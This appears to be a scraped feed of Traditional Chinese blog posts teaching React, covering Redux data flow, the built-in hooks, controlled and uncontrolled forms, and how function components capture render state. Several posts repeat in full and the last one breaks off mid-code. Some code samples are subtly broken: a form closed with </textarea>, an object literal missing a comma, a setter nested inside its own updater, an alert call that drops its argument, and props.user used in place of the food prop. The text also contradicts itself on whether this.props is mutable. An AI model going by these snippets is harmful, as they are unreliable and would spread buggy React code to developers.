我們可以看到存放 State 的地方被移出了 React views,統一存放在 Store。
接著透過 dispatcher 調用 callback 與 Store 互動形成單向的資料流。
下面用幫 todo-list 新增 todo 的例子來模擬 Redux 的資料流
使用者輸入 Clean House
以後送出 todo,此時會觸發幫綁在送出鈕上的 EventListerner。
當 EventListner 被觸發以後會調用 store 的 dispatch 方法,通過 dispatch 方法,一個 action 便被送了出來。
由 dispatch 送出的 action 會交給 rootReducer,rootReducer 裡頭有許多小的 Reducer 分別處理不同的 actions。
action 會被交給有定義這個 action 處理方式的 reducer,除此之外,這個 reducer 還需要知道目前的 state,假設是 ['Cook']
好了。
最後 reducer 會產生新的 state,也就是 ['Cook','Clean House']
,接著重新渲染畫面讓使用者知道已經順利新增 todo。
要回答這個問題,我想也許可以先看結果,也就是甚麼樣的專案適合用到 redux。
知道了甚麼樣的專案適合使用 Redux 以後,可以回頭來看為甚麼 Redux 可以滿足這些需求。
A Predictable State Container for JS Apps
這是官網給 Redux 下的定義。 為甚麼說 Redux 是一個 Predictable
State Container 呢? 這個問題可以從 Three Principles 入手。
Global state 都被保存在 Single-state tree 中。
// 透過 store 的 getState 方法來拿到 global state
store.getState()
State 只能讀取,除非呼叫透過定義好的 action 發起更新請求。
store.dispatch({
type: 'ADD_TODO',
payload: {
id: 1,
content: 'Clean House',
}
})
這些 action 要如何改變 State 統一在 reducer 裡定義。
function todos(state = initialState, {type, payload}) {
switch (type) {
case ADD_TODO:
return [
...state,
{
id: id++,
content: payload.content,
isDone: false
}
]
case DELETE_TODO:
return state.filter(todo =>
todo.id !== payload.id
)
case EDIT_TODO:
return state.map(todo =>
todo.id === payload.id ?
{ ...todo, content: payload.content } :
todo
)
default:
return state
}
}
reducer 被設計成可以組合的,因此可以合併成上面提到的 Single Global state,方便隨時彈性的擴充。
import { combineReducers } from 'redux'
import todos from './todos'
import visibilityFilter from './visibilityFilter'
const rootReducer = combineReducers({
todos,
visibilityFilter
})
我們可以稍微歸納 Redux 的幾個特性:
我們不難發現當 app 的狀態變得複雜或是多人協作的時候為甚麼 Redux 會是一個好選擇,因為通過 Redux,我們可以
const [state, setState] = useState(initialState);
useState 的用法像這樣子,在首次 render 時,state 的值由 initialState 來決定; setState 則是用來修改 state 值的函式。
setState(newState)
setState 用來更新 state。它接收一個新的 state 後元件將重新 render。
這邊有兩點要注意:
setState 並不一定要使用直接代入要更新的值的方式使用。它可以像下面這樣使用。
setState(prevState => prevState + 1)
透過代入匿名函式的方式,可以拿到上一個 state 來使用,如果 state 的更新是基於上一個 state,可以用這個方法,此外,這個方法也不用將 state 寫進 dependencies 裡。
與 class component 的 setState 方法不同,沒有辦法自動合併更新 object,所以可以搭配 ES6 的 object spread 語法來更新,像下面這樣:
setState(prevState => {
return {...prevState, ...updatedValues}
})
initialState 參數只會在初始 render 時使用,在後續 render 時會被忽略。其實 useState 也可以傳入匿名函式,這個函式的回傳值就會是 state 的初始值,而且只會被調用一次。
const [state, setState] = useState(() => {
const initialState = complexComputation(props)
return initialState
})
不過因為這個函式的運算速度會影響第一次 render 的效能,所以如果真的要進行太複雜的計算也可以考慮移到 useEffect。
如果使用跟目前 state 一樣的值更新 state,React 將不會重新 render。
useEffect(didUpdate)
useEffect 接受傳入匿名函式,並且預設會在每一次 render 結束以後執行這個匿名函式,但我們也可以選擇它們在某些值改變的時候才執行。
很多時候,在 component 離開螢幕之前需要清除 effect 的效果,比如說 subscription 或計時器的 ID。
傳遞到 useEffect 的 function 可以回傳一個清除的 function,這個 function 會在 component 從 UI 被移除前執行。
useEffect(() => {
const timer = setTimeout(doSomething, 1000)
return () => {
// Clean up the timer
clearTimeout(timer)
}
})
useEffect 可以傳遞第二個參數,它是該 effect 所依賴的值的 array,當每次重新 render 後,這個 array 會被比較是否一模一樣,如果有改動就會觸發 useEffect 的效果。
// 當 count 改變時才會建立計時器
useEffect(() => {
const timer = setTimeout(doSomething, 1000)
return () => {
// Clean up the timer
clearTimeout(timer)
}
}, [count])
useLayout 的用法基本上與 useEffect 相同,因為不是所有的 effect 都可以被延後。例如,使用者可見的 DOM 改變最好在下一次繪製之前同步觸發,這樣使用者才不會感覺到視覺不一致,而 useLayoutEffect 可以確保在 render 到螢幕前被執行。
const value = useContext(MyContext);
useContext 接收一個由 React.createContext 所建立的物件,並且會回傳該 context 目前的值。
聽起來有點抽像,再繼續看看它的使用。
const themes = {
light: {
foreground: "#000000",
background: "#eeeeee"
},
dark: {
foreground: "#ffffff",
background: "#222222"
}
};
const ThemeContext = React.createContext();
function App() {
return (
<ThemeContext.Provider value={themes.dark}>
<Button />
</ThemeContext.Provider>
);
}
function Button() {
return (
<div>
<ThemedButton style={{ background: theme.background, color: theme.foreground }}/>
</div>
);
}
Context.Provider 可以將 value 給傳遞到他所有的子元件,而子元件透過 useContext(Context) 可以將 value 取出。
最後有兩點要注意:
useReducer 是 useState 的替代方案,它接收一個 reducer 以及初始值。 並且回傳 現在的 state 以及其配套的 dispatch 方法。
至於甚麼是 reducer 以及 dispatch 下面會解釋。
當我們需要一次管理許多 state,useReducer 會比 useState 更適用,我們可以透過傳遞一個 diapatch 而不用傳遞很多個 callback function。
用法像下面這樣,範例取自 React Hooks 官方文件
const initialState = {count: 0};
function reducer(state, action) {
switch (action.type) {
case 'increment':
return {count: state.count + 1};
case 'decrement':
return {count: state.count - 1};
default:
throw new Error();
}
}
function Counter() {
const [state, dispatch] = useReducer(reducer, initialState);
return (
<>
Count: {state.count}
<button onClick={() => dispatch({type: 'decrement'})}>-</button>
<button onClick={() => dispatch({type: 'increment'})}>+</button>
</>
);
}
useReducer 的其他特性則和 useState 一樣,包括:
在一個元件裡面,有一些函式並不需要在每次 render 都被更新,除非是它所依賴的值發生變化,為了讓函式有條件的更新,可以使用 useCallback。
const memoizedCallback = useCallback(
() => {
doSomething(a, b)
},
[a, b],
)
這個例子裡 doSomething 依賴了 a, b,所以在第二個參數上以 array 的方式填上依賴的變數,這樣一來,在每次 render 時,新的跟舊的 array 會被拿來比較是否相同,不同的話會更新這個函式。
useMemo 與 useCallback 大同小異,只不過它會回傳一個值而不是 function。如果有些值需要透過複雜的運算,那麼 useMemo 便可以讓需要重新計算時再重新計算即可。
const memoizedValue = useMemo(() => doComplexCompute(a, b), [a, b])
useRef 是一個十分有趣的 hook,因為與其他 hook 不同,它會回傳給你一個 mutable 的 object,並且每次 render 這個 object 都是一樣的。
所以在讀取 useRef 的 current 屬性時,它並不會被綁定在某次 render,它會隨時更新,會拿到甚麼值端看使用者何時讀取它。
它最常被用到的地方是 uncontrolled component,用法如下:
function InputElement() {
const refContainer = useRef()
return (
<input ref={refContainer} />
)
}
當我們要取值的時候可以這樣寫:
const value = refContainer.current.value
此外,如果要記錄 render 的次數等等的功能也很適合使用 useRef
最後要注意的是,useRef 在其內容有變化時並不會通知你。變更 current 屬性不會觸發重新 render。
]]>const [state, setState] = useState(initialState);
useState 的用法像這樣子,在首次 render 時,state 的值由 initialState 來決定; setState 則是用來修改 state 值的函式。
setState(newState)
setState 用來更新 state。它接收一個新的 state 後元件將重新 render。
這邊有兩點要注意:
setState 並不一定要使用直接代入要更新的值的方式使用。它可以像下面這樣使用。
setState(prevState => prevState + 1)
透過代入匿名函式的方式,可以拿到上一個 state 來使用,如果 state 的更新是基於上一個 state,可以用這個方法,此外,這個方法也不用將 state 寫進 dependencies 裡。
與 class component 的 setState 方法不同,沒有辦法自動合併更新 object,所以可以搭配 ES6 的 object spread 語法來更新,像下面這樣:
setState(prevState => {
return {...prevState, ...updatedValues}
})
initialState 參數只會在初始 render 時使用,在後續 render 時會被忽略。其實 useState 也可以傳入匿名函式,這個函式的回傳值就會是 state 的初始值,而且只會被調用一次。
const [state, setState] = useState(() => {
const initialState = complexComputation(props)
return initialState
})
不過因為這個函式的運算速度會影響第一次 render 的效能,所以如果真的要進行太複雜的計算也可以考慮移到 useEffect。
如果使用跟目前 state 一樣的值更新 state,React 將不會重新 render。
useEffect(didUpdate)
useEffect 接受傳入匿名函式,並且預設會在每一次 render 結束以後執行這個匿名函式,但我們也可以選擇它們在某些值改變的時候才執行。
很多時候,在 component 離開螢幕之前需要清除 effect 的效果,比如說 subscription 或計時器的 ID。
傳遞到 useEffect 的 function 可以回傳一個清除的 function,這個 function 會在 component 從 UI 被移除前執行。
useEffect(() => {
const timer = setTimeout(doSomething, 1000)
return () => {
// Clean up the timer
clearTimeout(timer)
}
})
useEffect 可以傳遞第二個參數,它是該 effect 所依賴的值的 array,當每次重新 render 後,這個 array 會被比較是否一模一樣,如果有改動就會觸發 useEffect 的效果。
// 當 count 改變時才會建立計時器
useEffect(() => {
const timer = setTimeout(doSomething, 1000)
return () => {
// Clean up the timer
clearTimeout(timer)
}
}, [count])
useLayout 的用法基本上與 useEffect 相同,因為不是所有的 effect 都可以被延後。例如,使用者可見的 DOM 改變最好在下一次繪製之前同步觸發,這樣使用者才不會感覺到視覺不一致,而 useLayoutEffect 可以確保在 render 到螢幕前被執行。
const value = useContext(MyContext);
useContext 接收一個由 React.createContext 所建立的物件,並且會回傳該 context 目前的值。
聽起來有點抽像,再繼續看看它的使用。
const themes = {
light: {
foreground: "#000000",
background: "#eeeeee"
},
dark: {
foreground: "#ffffff",
background: "#222222"
}
};
const ThemeContext = React.createContext();
function App() {
return (
<ThemeContext.Provider value={themes.dark}>
<Button />
</ThemeContext.Provider>
);
}
function Button() {
return (
<div>
<ThemedButton style={{ background: theme.background, color: theme.foreground }}/>
</div>
);
}
Context.Provider 可以將 value 給傳遞到他所有的子元件,而子元件透過 useContext(Context) 可以將 value 取出。
最後有兩點要注意:
useReducer 是 useState 的替代方案,它接收一個 reducer 以及初始值。 並且回傳 現在的 state 以及其配套的 dispatch 方法。
至於甚麼是 reducer 以及 dispatch 下面會解釋。
當我們需要一次管理許多 state,useReducer 會比 useState 更適用,我們可以透過傳遞一個 diapatch 而不用傳遞很多個 callback function。
用法像下面這樣,範例取自 React Hooks 官方文件
const initialState = {count: 0};
function reducer(state, action) {
switch (action.type) {
case 'increment':
return {count: state.count + 1};
case 'decrement':
return {count: state.count - 1};
default:
throw new Error();
}
}
function Counter() {
const [state, dispatch] = useReducer(reducer, initialState);
return (
<>
Count: {state.count}
<button onClick={() => dispatch({type: 'decrement'})}>-</button>
<button onClick={() => dispatch({type: 'increment'})}>+</button>
</>
);
}
useReducer 的其他特性則和 useState 一樣,包括:
在一個元件裡面,有一些函式並不需要在每次 render 都被更新,除非是它所依賴的值發生變化,為了讓函式有條件的更新,可以使用 useCallback。
const memoizedCallback = useCallback(
() => {
doSomething(a, b)
},
[a, b],
)
這個例子裡 doSomething 依賴了 a, b,所以在第二個參數上以 array 的方式填上依賴的變數,這樣一來,在每次 render 時,新的跟舊的 array 會被拿來比較是否相同,不同的話會更新這個函式。
useMemo 與 useCallback 大同小異,只不過它會回傳一個值而不是 function。如果有些值需要透過複雜的運算,那麼 useMemo 便可以讓需要重新計算時再重新計算即可。
const memoizedValue = useMemo(() => doComplexCompute(a, b), [a, b])
useRef 是一個十分有趣的 hook,因為與其他 hook 不同,它會回傳給你一個 mutable 的 object,並且每次 render 這個 object 都是一樣的。
所以在讀取 useRef 的 current 屬性時,它並不會被綁定在某次 render,它會隨時更新,會拿到甚麼值端看使用者何時讀取它。
它最常被用到的地方是 uncontrolled component,用法如下:
function InputElement() {
const refContainer = useRef()
return (
<input ref={refContainer} />
)
}
當我們要取值的時候可以這樣寫:
const value = refContainer.current.value
此外,如果要記錄 render 的次數等等的功能也很適合使用 useRef
最後要注意的是,useRef 在其內容有變化時並不會通知你。變更 current 屬性不會觸發重新 render。
]]>input [type=text]
來說,當使用者在輸入文字時,使用者輸入的資料會綁在 input 元素上,這樣一來當使用者送出表單便可以順利把資料傳送。
雖然表單元素讓瀏覽器控制看起來沒什麼問題,但如果你想要更多呢?
比如說,
1.你有自己的規則想要檢查使用者的輸入
2.把表單資料送出的時候想要自動在 request 加上一些 header 或者欄位。
其實不只 input
,諸如 textarea
或者是 select
等元素也都會有自己的狀態,這個狀態會隨著使用者的動作而更新。
等等,這聽起來跟 react 使用的概念好像喔! 就好像這些元素原本就有 state,當使用者輸入會引發 handler,而 handler 會呼叫 setState,使得在 state 在更新以後這些元素可以即時反映出輸入值一樣。
事實上,把這個概念用 react 實作的表單元素,就叫做 controlled components
。
來個簡單的範例,這個範例是希望可以讓使用者填入名字,然後在送出表單之後 alert 自己的名字。
function EnrollForm() {
const [formContent, setFormContent] = useState({
username:''
})
const handleInputChange = (e) => {
setFormContent({
username: e.target.value
})
}
const handleSubmit = (e) => {
e.preventDefault()
alert(formContent.username)
}
return (
<form onSubmit={handleSubmit}>
<label htmlFor="username">暱稱</label>
<input
id="username"
type="text"
placeholder="您的回答"
name="username"
value={formContent.username}
onChange={handleInputChange}
/>
<input type="submit" value="Submit" />
</form>
)
}
這邊有幾點可以注意:
2、3 步是其中將控制權轉交給 react 的精髓所在。
雖然這麼做要多打程式碼,但現在我們可以輕易地將 input 裡面的值可以交給其他 component 使用,或是搭配其他 handler 做重置表單內容等等的舉動。
最後眼尖的人會發現 label 元素使用了 htmlFor 而不是 for,這是因為 for 關鍵字在 javascript 已經被占用的緣故。
使用 controlled textarea 的方法基本上與 input 沒有太大的差異,只有一些小細節,如果把剛剛的範例用 textarea 呈現會像這樣子:
function EnrollForm() {
const [formContent, setFormContent] = useState({
username:''
})
const handleInputChange = (e) => {
setFormContent({
username: e.target.value
})
}
const handleSubmit = (e) => {
e.preventDefault()
alert(formContent.username)
}
return (
<form onSubmit={handleSubmit}>
<label htmlFor="username">暱稱</label>
<textarea
id="username"
name="username"
value={formContent.username}
onChange={handleInputChange}
/>
<input type="submit" value="Submit" />
</textarea>
)
}
這邊要注意的是原本 textarea 的值是由他的 child 決定的,像這樣子:
<textarea>
我是 textarea 裡面的內容
</textarea>
但是在 React 的 textarea component 裡面是由 value 的屬性決定。
先看一下一般狀況下 select 元素的使用:
<select name="濃湯種類">
<option value="巧達濃湯">巧達濃湯</option>
<option value="番茄濃湯">番茄濃湯</option>
<option selected value="玉米濃湯">玉米濃湯</option>
</select>
觀察一下玉米濃湯有 selected 屬性,代表現在選的選項是玉米濃湯,不過在 react 裡使用 select component 會稍微不同:
function Selector() {
const [formContent, setFormContent] = useState({
purre:'玉米濃湯'
})
const handleChange = (e) => {
setFormContent({
purre: e.target.value
})
}
const handleSubmit = (e) => {
e.preventDefault()
alert('Your order: ', formContent.purre)
}
return (
<form onSubmit={handleSubmit}>
<label htmlFor="purre">濃湯種類</label>
<select
name="purre"
id="purre"
value={formContent.purre}
onChange={handleChange}
>
<option value="巧達濃湯">巧達濃湯</option>
<option value="番茄濃湯">番茄濃湯</option>
<option value="玉米濃湯">玉米濃湯</option>
</select>
</form>
)
}
注意在這個時候 select 有 value 的屬性,這樣一來可以綁定事件在 selector 上就好,比較簡易。
小結一下,不論是 input [type=text]
、textarea 或者是 selector,只要採用 react 書寫,都適用 value 這個屬性來管理。
另一個小細節是如何處理多個 input 的狀況,如果要幫每個 input 都寫一個 handler 也太麻煩了吧! 這時候可以幫 input 加上 name 的屬性來讓同一個 handler 統一判斷,範例如下:
function Selector() {
const [formContent, setFormContent] = useState({
username: ''
purre: '玉米濃湯'
})
const handleInputChange = (e) => {
setFormContent((formContent) => {
setFormContent({
...formContent,
[e.target.name]: e.target.value
})
}
}
const handleSubmit = (e) => {
e.preventDefault()
alert(`Your name: ${formContent.username}\r\nYour order: ${formContent.purre}`)
}
return (
<form onSubmit={handleSubmit}>
<label htmlFor="username">暱稱</label>
<input
id="username"
type="text"
placeholder="您的回答"
name="username"
value={formContent.username}
onChange={handleInputChange}
/>
<label htmlFor="purre">濃湯種類</label>
<select
name="purre"
id="purre"
value={formContent.purre}
onChange={handleInputChange}
>
<option value="巧達濃湯">巧達濃湯</option>
<option value="番茄濃湯">番茄濃湯</option>
<option selected value="玉米濃湯">玉米濃湯</option>
</select>
<input type="submit" value="Submit" />
</form>
)
}
const handleInputChange = (e) => {
setFormContent((formContent) => {
setFormContent({
...formContent,
[e.target.name]: e.target.value
})
}
}
這一段使用了 ES6 computed property name
的語法,可以輕鬆愉快的修改 state 的狀態。
input [type=file]
在 react 裡是 uncontrolled 的元素喔! 只能讀取無法修改。undefied
或者是 null
,因為會失去對 input 的控制。像下面這個範例,就算沒有定義 onChange 函式,input 還是可以正常輸入...function Example() {
return (
<input
value={null}
/>
)
}
提了這麼多 controlled component 的用法,或許會好其是不是有需要用到 uncontrolled component 的時候。
比如說有些時候我們可能只是想要很簡單的去取得表單中某個欄位的值,或者是有一些情況下需要直接操作 DOM(音樂播放器中有許多方法是直接綁在 <video>
元素上的)。
想要在 react 中使用 uncontrolled 的話需要 useRef 的協助。 useRef 有幾個特色:
const refContainer = useRef()
function InputElement() {
return (
<input ref={refContainer} />
)
}
當我們要取值的時候可以這樣寫:
const value = refContainer.current.value
為甚麼可以這樣寫呢? 想像我們用 document.querySelector 選到該元素後,保存在 useRef 回傳物件的 current 屬性內,因為 current 的值是 mutable 的,所以當我們想取用的時候都會拿到最新的值。
]]>input [type=text]
來說,當使用者在輸入文字時,使用者輸入的資料會綁在 input 元素上,這樣一來當使用者送出表單便可以順利把資料傳送。
雖然表單元素讓瀏覽器控制看起來沒什麼問題,但如果你想要更多呢?
比如說,
1.你有自己的規則想要檢查使用者的輸入
2.把表單資料送出的時候想要自動在 request 加上一些 header 或者欄位。
其實不只 input
,諸如 textarea
或者是 select
等元素也都會有自己的狀態,這個狀態會隨著使用者的動作而更新。
等等,這聽起來跟 react 使用的概念好像喔! 就好像這些元素原本就有 state,當使用者輸入會引發 handler,而 handler 會呼叫 setState,使得在 state 在更新以後這些元素可以即時反映出輸入值一樣。
事實上,把這個概念用 react 實作的表單元素,就叫做 controlled components
。
來個簡單的範例,這個範例是希望可以讓使用者填入名字,然後在送出表單之後 alert 自己的名字。
function EnrollForm() {
const [formContent, setFormContent] = useState({
username:''
})
const handleInputChange = (e) => {
setFormContent({
username: e.target.value
})
}
const handleSubmit = (e) => {
e.preventDefault()
alert(formContent.username)
}
return (
<form onSubmit={handleSubmit}>
<label htmlFor="username">暱稱</label>
<input
id="username"
type="text"
placeholder="您的回答"
name="username"
value={formContent.username}
onChange={handleInputChange}
/>
<input type="submit" value="Submit" />
</form>
)
}
這邊有幾點可以注意:
2、3 步是其中將控制權轉交給 react 的精髓所在。
雖然這麼做要多打程式碼,但現在我們可以輕易地將 input 裡面的值可以交給其他 component 使用,或是搭配其他 handler 做重置表單內容等等的舉動。
最後眼尖的人會發現 label 元素使用了 htmlFor 而不是 for,這是因為 for 關鍵字在 javascript 已經被占用的緣故。
使用 controlled textarea 的方法基本上與 input 沒有太大的差異,只有一些小細節,如果把剛剛的範例用 textarea 呈現會像這樣子:
function EnrollForm() {
const [formContent, setFormContent] = useState({
username:''
})
const handleInputChange = (e) => {
setFormContent({
username: e.target.value
})
}
const handleSubmit = (e) => {
e.preventDefault()
alert(formContent.username)
}
return (
<form onSubmit={handleSubmit}>
<label htmlFor="username">暱稱</label>
<textarea
id="username"
name="username"
value={formContent.username}
onChange={handleInputChange}
/>
<input type="submit" value="Submit" />
</textarea>
)
}
這邊要注意的是原本 textarea 的值是由他的 child 決定的,像這樣子:
<textarea>
我是 textarea 裡面的內容
</textarea>
但是在 React 的 textarea component 裡面是由 value 的屬性決定。
先看一下一般狀況下 select 元素的使用:
<select name="濃湯種類">
<option value="巧達濃湯">巧達濃湯</option>
<option value="番茄濃湯">番茄濃湯</option>
<option selected value="玉米濃湯">玉米濃湯</option>
</select>
觀察一下玉米濃湯有 selected 屬性,代表現在選的選項是玉米濃湯,不過在 react 裡使用 select component 會稍微不同:
function Selector() {
const [formContent, setFormContent] = useState({
purre:'玉米濃湯'
})
const handleChange = (e) => {
setFormContent({
purre: e.target.value
})
}
const handleSubmit = (e) => {
e.preventDefault()
alert('Your order: ', formContent.purre)
}
return (
<form onSubmit={handleSubmit}>
<label htmlFor="purre">濃湯種類</label>
<select
name="purre"
id="purre"
value={formContent.purre}
onChange={handleChange}
>
<option value="巧達濃湯">巧達濃湯</option>
<option value="番茄濃湯">番茄濃湯</option>
<option value="玉米濃湯">玉米濃湯</option>
</select>
</form>
)
}
注意在這個時候 select 有 value 的屬性,這樣一來可以綁定事件在 selector 上就好,比較簡易。
小結一下,不論是 input [type=text]
、textarea 或者是 selector,只要採用 react 書寫,都適用 value 這個屬性來管理。
另一個小細節是如何處理多個 input 的狀況,如果要幫每個 input 都寫一個 handler 也太麻煩了吧! 這時候可以幫 input 加上 name 的屬性來讓同一個 handler 統一判斷,範例如下:
function Selector() {
const [formContent, setFormContent] = useState({
username: ''
purre: '玉米濃湯'
})
const handleInputChange = (e) => {
setFormContent((formContent) => {
setFormContent({
...formContent,
[e.target.name]: e.target.value
})
}
}
const handleSubmit = (e) => {
e.preventDefault()
alert(`Your name: ${formContent.username}\r\nYour order: ${formContent.purre}`)
}
return (
<form onSubmit={handleSubmit}>
<label htmlFor="username">暱稱</label>
<input
id="username"
type="text"
placeholder="您的回答"
name="username"
value={formContent.username}
onChange={handleInputChange}
/>
<label htmlFor="purre">濃湯種類</label>
<select
name="purre"
id="purre"
value={formContent.purre}
onChange={handleInputChange}
>
<option value="巧達濃湯">巧達濃湯</option>
<option value="番茄濃湯">番茄濃湯</option>
<option selected value="玉米濃湯">玉米濃湯</option>
</select>
<input type="submit" value="Submit" />
</form>
)
}
const handleInputChange = (e) => {
setFormContent((formContent) => {
setFormContent({
...formContent,
[e.target.name]: e.target.value
})
}
}
這一段使用了 ES6 computed property name
的語法,可以輕鬆愉快的修改 state 的狀態。
input [type=file]
在 react 裡是 uncontrolled 的元素喔! 只能讀取無法修改。undefied
或者是 null
,因為會失去對 input 的控制。像下面這個範例,就算沒有定義 onChange 函式,input 還是可以正常輸入...function Example() {
return (
<input
value={null}
/>
)
}
提了這麼多 controlled component 的用法,或許會好其是不是有需要用到 uncontrolled component 的時候。
比如說有些時候我們可能只是想要很簡單的去取得表單中某個欄位的值,或者是有一些情況下需要直接操作 DOM(音樂播放器中有許多方法是直接綁在 <video>
元素上的)。
想要在 react 中使用 uncontrolled 的話需要 useRef 的協助。 useRef 有幾個特色:
const refContainer = useRef()
function InputElement() {
return (
<input ref={refContainer} />
)
}
當我們要取值的時候可以這樣寫:
const value = refContainer.current.value
為甚麼可以這樣寫呢? 想像我們用 document.querySelector 選到該元素後,保存在 useRef 回傳物件的 current 屬性內,因為 current 的值是 mutable 的,所以當我們想取用的時候都會拿到最新的值。
]]>在 React 的生態系裡,打造 component 有 class 還有 function 的選擇,如果要說他們間有甚麼最大的不同,那肯定是
Function component 會捕獲 render 當下的狀態
這個意義可以在後面的解釋裡慢慢被闡述明白。
假設有一家拉麵店的點餐系統,使用方式是先選擇下拉選單的品項,然後再按下面的 Order 按鈕確認訂餐。
你應該會發現,不論是按標註 class 或是 function 的按鈕,都會大概在三秒後 alert 訂餐的訊息。
不過如果現在試試看這個順序:
兩種 Order 鈕都試試看,看看有甚麼不一樣。
令人驚訝的是 Class 按鈕的 alert 結果竟然會隨著切換選擇而切換。 哪一個按鈕的反應比較合乎消費者的認知呢?
答案應該是 Function 按鈕的結果,因為按下點餐按鈕時選的餐點才是真正想要購買的餐點。
如果仔細看一下,Class component 的按鈕顯示 alert 的地方可以一窺一二。
class OrderButtonClass extends React.Component {
showMessage = () => {
alert('Your order: ' + this.props.food);
};
在 react 裡,props 是 imutable 的,就像是 javascript 的 primitive type 的特性一樣。看看下面的例子。
const a = 3
b = a
a = 4
console.log(b) //3
不過上面這個 Class component 的 props 怎麼會一起改變了呢? 事實上,this 是一個 mutable 的東西,所以 props 被設計成綁在 this 底下就會有隨著原始值一起改變的效果。
在點餐的例子裡,showMessage 在三秒後才讀取 this.props,可是這個時候 this.props 已經被改動了。
class OrderButtonClass extends React.Component {
showMessage = (food) => {
alert('Your order: ' + this.props.food);
};
handleClick = () => {
const {food} = this.props;
setTimeout(() => this.showMessage(food), 3000);
};
render() {
return <button onClick={this.handleClick}>Follow</button>;
}
}
因為 String 原本就是 immutable,所以 const {food} = this.props
可以成功達成效果。
現在如果試著這樣拷貝呢? const item = this.props
class OrderButtonClass extends React.Component {
showMessage = (item) => {
alert('Your order: ' + item.food);
};
handleClick = () => {
const item = this.props;
setTimeout(() => this.showMessage(item), 3000);
};
render() {
return <button onClick={this.handleClick}>Order</button>;
}
}
事實上也是可行的。
第二個方法跟第一個方法有點類似,看以下的範例:
class OrderButtonClass extends React.Component {
render() {
const props = this.props;
const showMessage = () => {
alert('Your order: ' + props.food);
};
const handleClick = () => {
setTimeout(showMessage, 3000);
};
return <button onClick={handleClick}>Order</button>;
}
}
記得在第一個方法裡我們實驗出 this.props 是 immutable 的,所以把所有的功能函式寫進 render 裡,並且在裡面將 this.props 做一個 snapshot,如此一來功能函式裡都會優先讀取這個 snapshot 的值。
既然所有含式都被寫進了 reder function 裡,便可以不用用到 class 了,改寫成以下的樣子:
function OrderButtonClass(props) {
const showMessage = () => {
alert('Your order: ' + props.user);
};
const handleClick = () => {
setTimeout(showMessage, 3000);
};
return (
<button onClick={handleClick}>Order</button>
);
}
這樣的寫法其實就是 function component 的寫法,以 argument 的方式傳進 props 一樣可以有 snapshot 的效果,這個效果在最一開始使用 function component 的按鈕點餐的時候便可以發現。
如果再回到一開始說的
Function component 會捕獲 render 當下的狀態
我們可以發現這個狀態不單單指 props,事實上在 function component 中,這個狀態也包含 state。
這次一樣來體驗看看使用 class component 與 function component 建立的點餐系統。
用 Function component 的平台點餐會記住送出時的餐點
用 Class component 的平台點餐不會記住送出時的餐點
想要在 Function component 擁有像 Class component 的 this.state 一樣的東西可以使用 useRef
的 hook,useRef 的值是 mutable 的,並且當 rerender 的時候不會被刷新。
改寫點餐系統成這個樣子:
import React, { useState, useRef } from "react";
import ReactDOM from "react-dom";
function OrderSystem() {
const [content, setContent] = useState("");
const showContent = () => {
alert("Your order: " + lastestOrder.current);
};
const lastestOrder = useRef('');
const handleSendClick = () => {
setTimeout(showContent, 3000);
};
const handleContentChange = (e) => {
setContent(e.target.value);
lastestOrder.current = e.target.value
};
return (
<>
<h2>點餐系統(Function)</h2>
<input
value={content}
onChange={handleContentChange}
placeholder="請輸入您要點的餐點"
/>
<button onClick={handleSendClick}>Send</button>
</>
);
}
如此一來,alert 的值就會讀取到最即時在 input 裡的值了。
]]>在 React 的生態系裡,打造 component 有 class 還有 function 的選擇,如果要說他們間有甚麼最大的不同,那肯定是
Function component 會捕獲 render 當下的狀態
這個意義可以在後面的解釋裡慢慢被闡述明白。
假設有一家拉麵店的點餐系統,使用方式是先選擇下拉選單的品項,然後再按下面的 Order 按鈕確認訂餐。
你應該會發現,不論是按標註 class 或是 function 的按鈕,都會大概在三秒後 alert 訂餐的訊息。
不過如果現在試試看這個順序:
兩種 Order 鈕都試試看,看看有甚麼不一樣。
令人驚訝的是 Class 按鈕的 alert 結果竟然會隨著切換選擇而切換。 哪一個按鈕的反應比較合乎消費者的認知呢?
答案應該是 Function 按鈕的結果,因為按下點餐按鈕時選的餐點才是真正想要購買的餐點。
如果仔細看一下,Class component 的按鈕顯示 alert 的地方可以一窺一二。
class OrderButtonClass extends React.Component {
showMessage = () => {
alert('Your order: ' + this.props.food);
};
在 react 裡,props 是 imutable 的,就像是 javascript 的 primitive type 的特性一樣。看看下面的例子。
const a = 3
b = a
a = 4
console.log(b) //3
不過上面這個 Class component 的 props 怎麼會一起改變了呢? 事實上,this 是一個 mutable 的東西,所以 props 被設計成綁在 this 底下就會有隨著原始值一起改變的效果。
在點餐的例子裡,showMessage 在三秒後才讀取 this.props,可是這個時候 this.props 已經被改動了。
class OrderButtonClass extends React.Component {
showMessage = (food) => {
alert('Your order: ' + this.props.food);
};
handleClick = () => {
const {food} = this.props;
setTimeout(() => this.showMessage(food), 3000);
};
render() {
return <button onClick={this.handleClick}>Follow</button>;
}
}
因為 String 原本就是 immutable,所以 const {food} = this.props
可以成功達成效果。
現在如果試著這樣拷貝呢? const item = this.props
class OrderButtonClass extends React.Component {
showMessage = (item) => {
alert('Your order: ' + item.food);
};
handleClick = () => {
const item = this.props;
setTimeout(() => this.showMessage(item), 3000);
};
render() {
return <button onClick={this.handleClick}>Order</button>;
}
}
事實上也是可行的。
第二個方法跟第一個方法有點類似,看以下的範例:
class OrderButtonClass extends React.Component {
render() {
const props = this.props;
const showMessage = () => {
alert('Your order: ' + props.food);
};
const handleClick = () => {
setTimeout(showMessage, 3000);
};
return <button onClick={handleClick}>Order</button>;
}
}
記得在第一個方法裡我們實驗出 this.props 是 immutable 的,所以把所有的功能函式寫進 render 裡,並且在裡面將 this.props 做一個 snapshot,如此一來功能函式裡都會優先讀取這個 snapshot 的值。
既然所有含式都被寫進了 reder function 裡,便可以不用用到 class 了,改寫成以下的樣子:
function OrderButtonClass(props) {
const showMessage = () => {
alert('Your order: ' + props.user);
};
const handleClick = () => {
setTimeout(showMessage, 3000);
};
return (
<button onClick={handleClick}>Order</button>
);
}
這樣的寫法其實就是 function component 的寫法,以 argument 的方式傳進 props 一樣可以有 snapshot 的效果,這個效果在最一開始使用 function component 的按鈕點餐的時候便可以發現。
如果再回到一開始說的
Function component 會捕獲 render 當下的狀態
我們可以發現這個狀態不單單指 props,事實上在 function component 中,這個狀態也包含 state。
這次一樣來體驗看看使用 class component 與 function component 建立的點餐系統。
用 Function component 的平台點餐會記住送出時的餐點
用 Class component 的平台點餐不會記住送出時的餐點
想要在 Function component 擁有像 Class component 的 this.state 一樣的東西可以使用 useRef
的 hook,useRef 的值是 mutable 的,並且當 rerender 的時候不會被刷新。
改寫點餐系統成這個樣子:
import React, { useState, useRef } from "react";
import ReactDOM from "react-dom";
function OrderSystem() {
